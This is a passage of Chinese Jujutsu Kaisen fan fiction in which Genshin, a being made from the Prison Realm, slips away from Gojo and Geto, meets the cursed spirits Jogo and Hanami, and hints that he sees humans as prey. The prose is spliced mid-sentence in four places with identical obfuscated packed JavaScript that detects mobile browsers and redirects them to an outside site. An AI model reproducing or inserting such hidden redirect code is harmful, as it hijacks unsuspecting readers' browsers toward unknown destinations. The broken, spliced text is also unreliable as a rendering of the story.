夏油杰有些不确定：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411885|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是因为他没有见过咒骸？他不认为咒骸是生命？” 这个理解有些牵强，毕竟源信也没有随意破坏东西的倾向。 五条悟脸上的小圆片墨镜早就不翼而飞，他微微仰着头让人看不起表情，许久才缓缓低下头：“咒力的储存方式变了。” 咒力的储存方式变了？ 谁的咒力储存方式变了？源信？ 夏油杰和夜蛾正道闻言都是一愣。 源信的咒力每一次出现都是无所忌惮地流出，因为非人的体质和情绪理解方面的障碍，他不必担心负面情绪的不足和咒力的停滞。 他肆意地使用着属于自己的非人天赋，看起来从来都没有过咒力储存的问题，使用咒力也没有任何的章法。 五条悟当天在教室时察觉到了异常，可任谁也没有办法将这件事和咒核联系起来，他还以为是源信突如其来的开窍，但是事实似乎并非如此。 “夜蛾，你的咒骸是怎么使用咒力的？” 五条悟突然开口问道。 夜蛾正道一愣：“是我事先将咒力储存到咒核里，再将咒核放到做好的咒骸体内。” “那就没错了。” 五条悟的眼睛里面闪烁着兴奋的光，甚至连语调都有些变了：“源信现在就相当于一个巨大的咒核，他将自己的身体整个都变成了咒核的样子。” ……什么？ 这个消息带来的冲击太大，导致站在他身旁的师生两人都感到不真实了。 “你的意思是……他吞噬了咒骸，不，咒骸体内咒核的特性？化作了自己的力量？” 夏油杰气若悬丝，再一次重新正视了源信。 没有对身为人类的他们抱有恶意的原因居然是…… 他们都还有利用价值吗？ * 带着源信做完一天任务，现在的五条悟和夏油杰一点也不敢再任由他四处乱跑，试探了半天发现他没有跑走意图后，干脆押着他回了高专。 自认为变成盘中餐的五条悟&夏油杰：命苦，但说不出。 而就在一路平安地原路返回，辅助监督的车在高专门口停下的时候，源信他！ 突然！ 头也不回地！ 走了！ 源信：今天的课学完了，先出去找人练练手。 原本已经放下警惕的五条悟&夏油杰：？？？？？ 不是？啊？哥们儿？ 还回家吃饭吗？ 当源信真正想要脱离他们的视线时，显然没有人能够追上他。 在每一步脚下就叠加了咒力的冲击，黑发少年几步踏出就已经跃出几人的视线，只有被他践踏过的数根树枝的晃动表明他离开的痕迹。 刚接到消息匆匆从高专内走出来的夜蛾正道：“……” 就在他们纠结要不要去追，又怎么追的时候，送两人回来的辅助监督倒是很淡定地扶了扶眼镜开口了：“不必担心，就让那孩子自己发展吧。” “………………” 啊，万万没想到，总监部这次居然拿的是慈母剧本吗？ 13.漏瑚 漏瑚是拥有智慧的特级咒灵。 从很久很久之前开始，人类就惧怕于自己脚下的这片土地，由人类对大地的这股恐惧又生成了咒灵，在千百年的演化中接受了过量的负面情绪能力，漏瑚也因此而获得了智慧并诞生。 今天是他出门的日子。 前些日子——或许是好几年前，它根本记不住人类的时间——它在东边的一片森林里面找到了一个名叫花御的同类，它和它一样也是特级咒灵，是由人类对森林的憎恶恐惧中诞生的诅咒。 森林和大地，本就是这个世界上既定的搭配，漏瑚觉得自己和花御很合得来。 “森林和大地都产生了老夫这样的特级咒灵的话……” 漏瑚看向更远处的地方，忍不住喃喃自语道：“大海也会有的吧？” 晚风吹过，带来了海岛上特有的奇妙气息，仿佛在对它传达了什么讯息，又或是一种答复。 漏瑚肉眼可见地高兴了起来，连带着头顶都喷出了一些闪闪亮的小火星。 好，决定了，马上带着花御一起去海边看看吧！ * 源信觉得自己有点失败。 目标明明就在眼前，他却一直都没能得手，好在他退而求其次地跟着五条悟和夏油杰一起去完成任务，得到了许多有用的讯息： 首先，五条悟和夏油杰在忌惮他，以及另外的什么人，后者不确定，但先记下。 其次，体术得到了提升，他看到的动作凭借他的身体素质都能很快复刻。 最后，也是最重要的一点，咒灵和人类似乎是完全敌对的关系。 和源信以为的放纵或者完全忽视不一样，人类对于咒灵的态度显然十分尖锐，这一点从两个高专生身上以及可以体现。 两个DK：我/老子来表演一段露头就秒！ 源信：OVO？ 因为大部分咒灵被他封锁到体内之后也只剩下一团没有意义的咒力，所有他不太愿意耗费自己的咒力和术式去封锁它们。 好复杂的社会关系。 对于消除人类对他的恶意，源信不感兴趣。 对于获得五条悟和夏油杰的能力，源信迫不及待。 被他封锁进身体的生命，如果直接杀死，自身的能力就会被他获取和继承，即便强度达到五条悟和夏油杰的程度，他虽然做不到直接用咒力挤压空间将其抹杀，也能随机获得对方的一个能力。 但使用期限只限于对方在他的异空间里。 源信对此倒毫不担心。 毕竟就他对于自己能力的了解，进去的东西所有的一切状态都会保持在进来的那一刻，不会老去也不会死亡，而就连他自己也没有办法将对方放出。 无论怎么看，只要被他发动术式，都是死路一条。 就和夜蛾正道预测的一样，如今的源信并不完整，甚至就连他自己也不知道残缺的那一部分在哪里，更不知道自己还有能力将封锁物自由放出。 源信突然跑走的原因只是因为—— 他觉得人类这边差不多了，该找个咒灵了解一下状况了。 被五条悟夏油杰追赶着进入城市时，源信见到了许许多多的咒灵，但是无一例外都很弱小。 超乎他想象的弱小。 他在实验室遇到的咒灵基本上都拥有一小部分的思维，即便没有办法老老实实地坐在那里陪着他一下午，但也能够在他想要说话时保持安静。 毕竟他的话实在是不算多。 和人类这一方保持联系，和跟咒灵这一边保持友好对源信来说并不冲突。 因为必要时，他都会对他们使用术式~ 很有原则的源信就这样出发了。 离开高专之后，他去了一个之前从来没有走过的方向，因为之前所有他经过的地方都没有让他感受到有强大的咒灵的存在，排除一下，他选择了一条完全陌生的道路。 然后他看到了一个……在奔跑的咒灵？ 一个跑得特别快的咒灵，源信忍不住停下脚步来观察它。 是往和人类群居地恰恰相反的方向跑的咒灵，有着奇怪的让源信不知道怎么描述的头部和奇特的大独眼。 太奇怪了，它居然还有一个披风。 一身漆黑几乎和夜色融为一体的源信看得入了迷。 开玩笑，站在你眼前的可是咒回第一初恋——漏瑚！（bushi） 直到漏瑚走远，源信这才反应过来，急忙收敛了气息，甚至将全身储存着的咒力都挥散跟了上去。 是强大的、具有自己的思维意识的咒灵！ 源信肯定自己的眼睛没有出错，他可以看出这个咒灵有着明确的目标，眼睛里面也带有属于人类特有的理智，是他从未见过的类人咒灵。 必须和它成为同伴，源信心里暗道。 人类可以成为他的一部分养料，而咒灵对他来说别无他用，权衡利弊之下明显是咒灵更适合作为长期发展的伙伴。 也许就连源信自己都没有发现自己陷入了一个悖论。 他需要和人类久居，但却对人类怀有贪婪之心；他想要保持风度，但却常常做出让人无法理解的行为；他想要靠近咒灵，但是这对他百害而无一利。 毕竟站阵营这种事情，从古至今都是一.大难题。 显然创造出他的那个人，即便将他随意放了出来也给他上了无数个枷锁，让源信不能也没有办法和任何人互为相互信任的存在。 五条悟和夏油杰就是活生生的例子。 毕竟，源信他，无论对谁来说都是犹如猎食者一般的存在呢。 …… 神不知鬼不觉的，源信就这样慢慢靠近了漏瑚。 将身体完全转换为咒核，可以作为咒力的寄存体，而他也可以将身体的某一部分变化成咒核，再把全部咒力隐藏在那一处。 源信毫不犹豫地把咒力都塞进了额头上的眼珠里。 感觉不到一丝咒力靠近的漏瑚：……？ 赶路的时候漏瑚总是会走神，毕竟它太了解大地了，闭着眼睛都能找到正确的方向，所以当他察觉到源信的靠近时，一切都来不及了。 “你好，请问你要去哪里？” 同样时礼貌的开场，源信如今已经能够信手拈来，毕竟他已经很熟悉人类的表达方式了。 不要忘了，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411886|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学习能力一直很强的。 漏瑚显然被这突如其来飘入耳中的一句话给吓了一.大跳，他惊叫着跳开怒喝：“谁！给老夫滚出……呃！” 距离不到三米，源信静静站在他眼前的空地上看着他。 嗯……似乎是他完全没见过的性格？ 源信有些好奇它到底是根据什么产生的咒灵了。 咒灵的性格大多数都是自卑又疯癫的，有时候他不小心刺激到了它们就会开始陷入疯癫的状态，然后迟迟无法回神。 这样思路清晰，而且性格火爆的款式，源信还真没见过。 莫名被源信投注了好感度的漏瑚狐疑地上下打量了他一会：“你是什么东西？咒灵还是人类？” 在咒灵的眼里，源信的气味还是很特殊的。 绝对不是人类，因为没有人类会在不释放咒力的情况下给它们造成明晃晃的压迫感。 但也绝对不是咒灵，因为没有咒灵能够将自己的咒力收敛得那么好。 咒灵说到底就是咒力的混合物，源信这样安静的时候连一丝一毫负面情绪都没有的，绝对不在咒灵的范畴之内。 漏瑚思考ing 漏瑚试图做排除法ing 【玩家】漏瑚摇出了最小的点数，思考大失败！ 它气急败坏地怒骂：“你到底是什么东西！会说话吗！快点回答老夫的问题！” 源信：“……” 是性格特别差的类型呢，有点稀奇。 同时他还注意到了，漏瑚在试图找机会离开他的视线。 因为只有一只眼睛的缘故，漏瑚一旦开始移动他的视线，源信几乎一瞬间就可以直接将他的动向掌握。 巨大的独眼往左看时，漏瑚的右脚后退一步。 巨大的独眼往右看时，漏瑚的左脚又磨磨蹭蹭向后挪了一点。 源信收起了自己和五条悟如出一辙的小恶趣味，上前两步开口：“我是源信，是跟你差不多的存在。你要去哪里，一起吗？” 废了半天功夫挪了一步半又分分钟前功尽弃的漏瑚：…… 它反应了几秒钟，独眼猛然瞪大，在源信惊奇的目光中扯着嗓子尖叫：“你什么时候开始跟踪老夫的！你这家伙……” “啊，抱歉，只是你太弱了没有发现我而已。” “…………” 漏瑚卒。 对于暴脾气的咒灵几乎把情商完全丢掉的源信面无表情地歪了歪头，坚持追问：“你要去哪里？” 这一次漏瑚没有回答他，转身就开了疾跑！ 源信：？？？ 从来没有遇到过这种状况的咒物少年明显愣了一下，紧接着才跟了上去：“你不想告诉我吗？即便我不是人类？” 漏瑚依旧没有回答，只是蒙头四处逃窜。 可恶！可恶啊啊啊！ 这家伙到底要追到什么时候！！！！ 源信也不想把力气耗费在这种无意义的追逐上，即便他的力气使不完。 脚下使力，找好方向之后，源信使出了今天才学的新招数—— “啊啊啊啊啊啊啊啊啊！老夫的头！！！！！！” 14.花御 是完全出乎预料的触感。 看到漏瑚的第一秒，源信就感觉它的头似乎像是某种岩石，看起来很坚不可摧的样子，但实际上上脚的时候和他的设想完全不一样。 源信回味了一下。 不错，脚感很软，声音很脆。 好头！（bushi） 莫名其妙挨了一脚的漏瑚暴怒了！ 这个不知道是什么生物的家伙！居然！一脚！把他的头踢得那么远还滚了好几圈！ “不知天高地厚的小子！老夫不会原谅你的！！” 低头看了看站在原地一动不动的身体，再看看地上那个不停地大声咒骂着的头颅，源信心情莫名愉快了起来。 果然，跟人类相处好麻烦，一不小心就会死掉呢。 咒灵就不用担心这种问题。 抬脚绕开失去了头颅之后越发娇小（？）的身躯，源信走过去抱起了漏瑚的头。 漏瑚秒静音。 源信满意地点了点头：“要一起走吗？” 这是源信第三次问这个问题了，漏瑚终于意识到他没有在开玩笑。 “……你到底要做什么？” “我想认识一些咒灵朋友，”源信老老实实开口，“和人类的相处让我有些不愉快，我想念我以前的咒灵朋友了。” 完美的话术！ 源信在心里给自己的表现打了满分。 果不其然，漏瑚听到这样的话也忍不住放低了警惕：“你以前有咒灵朋友？跟我一样会说话的吗？” “是的。” 源信回忆了一下：“我以前被人类关在一个地方，出不去，但是我的咒灵朋友们每天都会来看我，还会给我带吃的，我们一起聊天，还一起睡觉。” 死在他身体里的话，也算是一起睡觉了吧？ 没有一句假话，源信确认了一下后低头去看漏瑚的表情—— 漏瑚已经被他的真诚打动了！ 源信大喜。 漏瑚大叹！ “你们居然是被人类关到现在吗……怪不得老夫这么多年只遇到了花御一个同伴！原来都是可恶的人类！！！” 看着漏瑚在他手心就开始冒岩浆，源信手指都没有移开，面色如常地回答：“是的，我从有意识开始就被关在一个特殊的房间里面，一直等到我被别的人类带走才出来。” 这段不会细说，跳过。 “什么！”漏瑚大惊，“那你现在逃出来了，其他的咒灵呢？它们有跟着你出来吗？” 源信：“没有，我当时失去了意识，醒来的时候它们都不见了。” 漏瑚很快陷入了悲伤之中，源信讶异地看着它的火苗一下子小了许多，产生的咒力比起愤怒更多的是无尽的悲痛，他很快就意识到漏瑚误会了什么。 嗯……那些咒灵其实是跟着原本实验室的人类跑了。 经过源信坚持不懈的1v1洗脑，咒灵们一只认准一个人类，看他们搬迁也立刻屁颠屁颠跟着走了，即便离开出生地会让它们更加虚弱也没有一只咒灵退却。 1v1才是王道啊！ ——来自咒灵们的咆哮。 源信这一次又没有把话说全，而是直接挑了一个对于自己最有利的表达方式，显然收获颇丰。 漏瑚已经给予了他九成的信任，对于他的遭遇十分之同情！ 源信心想，还是咒灵听得进他说的话。 无论哪里的咒灵，比起又臭又硬的人类来说，真是好说话极了。 漏瑚已经放弃了和源信之前的暴力行径生气，用力一跃，源信顺势松开手，看着它的脑袋蹦蹦跳跳地回到了原本的位置上去，扭扭脖子对他一挥手： “走吧！老夫带你去看看你的另外一位前辈。” 源信疑惑地眨了眨眼睛：“前辈？” “是啊。”漏瑚一脸的理所当然，“你刚被人类造出来没多久吧？他们应该给你喂了不少东西，才让你刚诞生就这么强大……啧，一群不知所谓的东西。” 喂东西。 源信回忆，五条悟夏油杰有一次似乎也提到了这个词语，似乎在说当初那个博士在为他塑造人形的时候加入了什么别的东西。 这件猜测源信也深以为然。 自家事自家知，源信知道什么东西原本不属于自己。 而漏瑚的话又为他提供了另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411887|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个很有用的讯息——漏瑚似乎将他看作是人类和咒灵的混血了。 呃……好像也有点关系？ 咒术师的遗骸做成咒物又变成人类，听起来似乎也是某种复杂的混血。 这时候他们已经跑了一阵子了，源信长久的沉默让漏瑚有些奇怪，它扭过头刚要问什么，源信却先一步开口了：“有咒灵来了。” 漏瑚一愣，随机表情喜悦起来。 喜花御来了，更喜源信的感知能力甚至比身为大地诅咒的它还要敏锐！ 漏瑚一下子感觉自己干掉干掉全人类的理想变得唾手可得起来！ 感知到陌生气息追杀着（？）漏瑚来到它的地盘的花御：……？ 花御开口了：“漏瑚，他是谁？” 是从耳朵贯穿到脑子里面的奇怪的杂音，源信还是第一次听到有咒灵这样说话，闻言眼睛微瞠露出些许讶异。 花御很快来到了他们眼前。 眼睛没有什么特殊能力的源信上下打量了一下这个咒灵。 是通体白色的高大咒灵，看起来是和漏瑚完全不同的类型。 源信注意到漏瑚的头上有岩浆，自然也注意到了此时花御的额头上有伸出来的树枝，看起来似乎都是和大自然有关的咒灵。 这一次源信还没想好要怎么开口，漏瑚倒是先他一步帮忙介绍了：“花御！这是老夫半路上捡回来的孩子！他是被人类制造出来的，看起来很强！” 源信感觉到花御的目光在自己全身上下转了两圈：“&#@……%￥*” 【欢迎你，我的孩子。】 对这种称呼没有很大感触的源信点点头：“你好，以后请多多指教。” 漏瑚和花御随即问起来源信现在住在哪里，要是想要清净一些可以来他们的地盘上生活。 送命题。 源信沉吟了片刻，开口拒绝：“抱歉，我有一些不得不做的事情。” 花御发出疑惑的水母叫，倒是漏瑚很高兴的样子。 “老夫就知道自己没有看错人，你这家伙果然也怀揣着一些伟大的理想吧！” 在想今晚睡森林还是回高专的源信：……？ 15.理念（看作话 虽然留在高专的咒物狱门疆目前还没有被发现是赝品，源信还是有点想把它掏出来一起带走。 原本还有些紧张的漏瑚在见到花御之后就放松了警惕，它们带着源信一起走到一处空地，中间有几块散落的平滑石板，看起来似乎是它们曾经歇脚的地方。 源信有样学样地跟着漏瑚和花御盘腿坐下。 作为非人物，它们的话题更小众一些，源信第一次感觉到了一种“说话不经大脑”的自由感。 花御：“咒术师的学校吗？你找我们是想要我们帮忙去把你的分身取出来吗？” 漏瑚原本还没有多想，听到这里快言快语：“不行，那里有很多咒术师，我们目前还没有打算在人类面前暴露我们的存在！” 源信敏锐地了解到，眼前的两个咒灵还没有被人类发现。 也就是说…… 源信勾了勾嘴角，露出一个真情实意的笑容摇了摇头：“嗯，我不是那个意思，只是刚好讲到这里而已。” 咒灵的价值对他来说是很低的，吃到肚子里没有办法获得术式，直接杀死也没有办法吞噬咒力，简而言之毫无利用价值。 但是当两个站在人类对立面的强大咒灵的头上还顶着两个“我是黑户”的标签，源信觉得自己似乎不仅仅能在离开高专之前薅走五条悟和夏油杰。 还能找到两个合适的背锅侠（bushi）。 毫无所觉的漏瑚和花御：“……” 错觉吗？ 漏瑚迟疑地转了转独眼：“源信，你真的诞生只有一个月吗？” 咒灵对于特级咒物狱门疆的认知是更为匮乏的，它们对于源信的认知就是特别的人造咒灵，都是人造的了，身上的气息再怎么奇怪都不为过。 这件事情没什么好欺骗的，源信点点头：“是的。” 漏瑚的情绪激动起来，甚至连花御也肉眼可见地有些许欣喜的意味：“按照你的成长时间，你以后的级别不会低的——你的成就绝对不会低于我们！” 一个强大的伙伴主动找上门来这样的好事实在是让漏瑚有几分陶醉了：“短短一个月的时间就能够成功混入人类社会还不迷失自我，老夫可从来没有见过有咒灵有这样的智力！对吧，花御？” 花御赞同地点了点头。 原来如此，源信也点了点头。 记忆里咒灵的智商都普遍偏低，应该都和他在实验室遇到的差不多，眼前的这两个确实有些颠覆他的认知，现在看来或许也是万里挑一的存在了。 第一次出门就让他碰见，这运气属实有些太好了。 源信反问它们：“那你们现在在做些什么？” 这个问题很好回答，漏瑚道：“我们在寻找同伴。” 放弃了靠近人类活跃的地区，它们选择龟缩在森林深处，回到自己最熟悉的地方来韬光养晦，以获取最大限度的成长空间。 源信深以为然。 如果不是因为他奇怪的吞噬特性，他也不愿意和那么危险的家伙们为伍，夏油杰他放心，五条悟看起来可是对他包容性十分有限。 让他二选一的话，源信倾向于先把不确定性极高的五条悟干掉。 漏瑚很茫然：“五条悟？那是谁？” 对于六眼的知名度也很有限，源信倒是不奇怪它们不认识，耐心地为它们解释道：“是目前很活跃的一个咒术师，应该会是你们之后最强大的敌人……之一。” 毕竟还有个夏油杰。哦，其实应该还有他源信。 漏瑚和花御深以为然地点点头：“果然，这个世界实在是太危险了，我们谨慎一点总没错！” 对某些事情达成共识，源信递给它一个赞赏的目光，倒是让漏瑚有些受宠若惊，紧接着就是一喜！ 果然，这个家伙是来投奔它们的！ 漏瑚很快抛开了之前莫名其妙被摘了脑袋的私人仇怨，大度地一挥手：“老夫和花御一直都住在这一片，如果遇到困难可以来找我们帮忙！” 提示：【玩家】源信对咒灵阵营好感度upup！ 这就是源信一直期待得到的话语和承诺，他重新正视起这个矮小丑陋的咒灵，重重点了点头：“好，到时候还拜托你们竭尽所能。” 漏瑚：“你放心！老夫肯定尽力……嘎？” 花御陷入了沉思。 竭尽所能这个词是这么用的吗…… 两个不知道活了多久的咒灵很快没有计较刚诞生没多久的源信的语法问题，自然也就没有发现源信的真实想法，而对漏瑚和花御想要寻找同伴这句话，源信有些在意。 他想要和它们确认一下“同伴”这个词汇的意义。 对于这个问题，花御温和的声音在他的脑海中缓缓响起：“是最亲近的存在，是家人，也是唯一可以相互信任的人。” 是和他完全不一样的理解…… 源信的眼神恍惚了一下。 他的理念似乎……不仅仅是和人类不太一样，甚至连和同样不是人类的开了灵智的咒灵也有所区别吗？ 拥有一个与众不同的理解方式，或许对于普通人来说是惊奇的，甚至会因为感觉到自己的与众不同而感到欣喜，但源信他不会。 从诞生的那一刻起，从来没有对于自己的理念和存在意义有过怀疑的狱门疆第一次对这个世界的存在和原则产生了怀疑。 “……你们在寻找可以交付生命的存在？” 他迟疑了很久开口道。 语气有些匪夷所思。 天气不冷不热，他们三个奇特的存在一起坐在光滑的巨大岩石上，夜晚的凉风微微拂过，带来了很淡很淡的人类气息和两道他熟悉的咒力。 花御和漏瑚点头：“我们的力量是浅薄的，必须找到更多的伙伴来抵抗人类。” 所以，源信：“我也是？” 漏瑚一脸理所当然地点点头：“你不是已经自己顺着气息找过来了吗？是因为人类社会容不下你这样的存在吧？” 不，容得下，只要他足够努力。 源信沉默着。 “和人类不一样，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452576|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生命是漫长的，只要一直蛰伏变强，并且不断吸纳新的同伴，迟早有一天我们能够……” 漏瑚是个很奇特的存在，即便它不说话源信也能感觉到他身上似乎在发出某种声音，像是火焰在灼烧什么一般劈里啪啦作响，更不必说它几乎没有安静的时候，但是花御不一样。 这个安静的白色咒灵在不说话的时候会安静到可怕。 “你似乎对我们的森林做了什么，”它的声音带着疑惑和少许警惕，“……森林的声音变小了。” 漏瑚的声音突然停止了。 源信看着它那只独眼滑稽地眯起，两手在半空撑开，似乎同样在感知着什么，看着两个咒灵周身的气息同时一变，他平静地站起身：“接我的人快要来了，我先走一步。” 时停这个能力的妙用有很多，源信现在的能力还不足以释放出领域，甚至简易领域也没有办法，但锁定一小部分空间再将它无限延伸——这样粗糙的障眼法还可以做到的。 只是模拟一部分他体内的空间，在实验室的日子里，源信光是练习能力的108种使用小技巧就neng死了不少咒灵。 嗯，导致活下来的咒灵几乎都具有史莱姆的特性。 ——粘嗒嗒，可以随意重组，一刀下去还能拼起来。 一天到晚在外奔波给寄予厚望的“好大儿”抓合适小白鼠的羂索：Looking my eyes！ 就因为源信局部改变了森林构造的原因，导致追过来的五条悟和夏油杰一直在周遭打转，只是距离太远，除了他之外的两个咒灵都没有察觉到危险的靠近。 没有被当事者察觉到的事情当然不可信，漏瑚听到他的话第一反应一愣，紧接着暴怒：“老夫好心为你带路，你还把人类引过来！你这混蛋！” “我和你们不一样的。” 源信想了想再次纠正：“和人类也不太一样。” 世界上原本只有人类和咒灵两个生物，制造他的人将他划分到了人类，他却因为亲近咒灵和受恩于人类而选择了在二者之中摇摆不停。 “人类，是我的养分，猎食者大概是无法和食物成为真正可以托付一切的伙伴的。” 漏瑚：“等会？什么叫养分？猎食者又是什么意思？你的术式到底是什么？” 白色的巨大咒灵好像是无生命的雕塑停滞在原地。 “至于咒灵……” 看到漏瑚惊骇的目光和花御安静的注视，源信的身形很快消失在黑暗中，连后半句话也飘散在了夜风之中。 “我们也许会成为最好的结盟对象。” 快速撤去了遍布在森林外部周边的术式，白发少年很快出现在了他的视野里。 “阿信！” ……叫谁呢，这么亲热。 源信瞬间挂上两个DK熟悉的人机表情，淡定地点点头：“抱歉，我刚刚突然感觉这边有咒灵。” 走到校门口还被迫加班的五条悟&夏油杰：“……” 对于狱门疆工贼的刻板印象up！！！！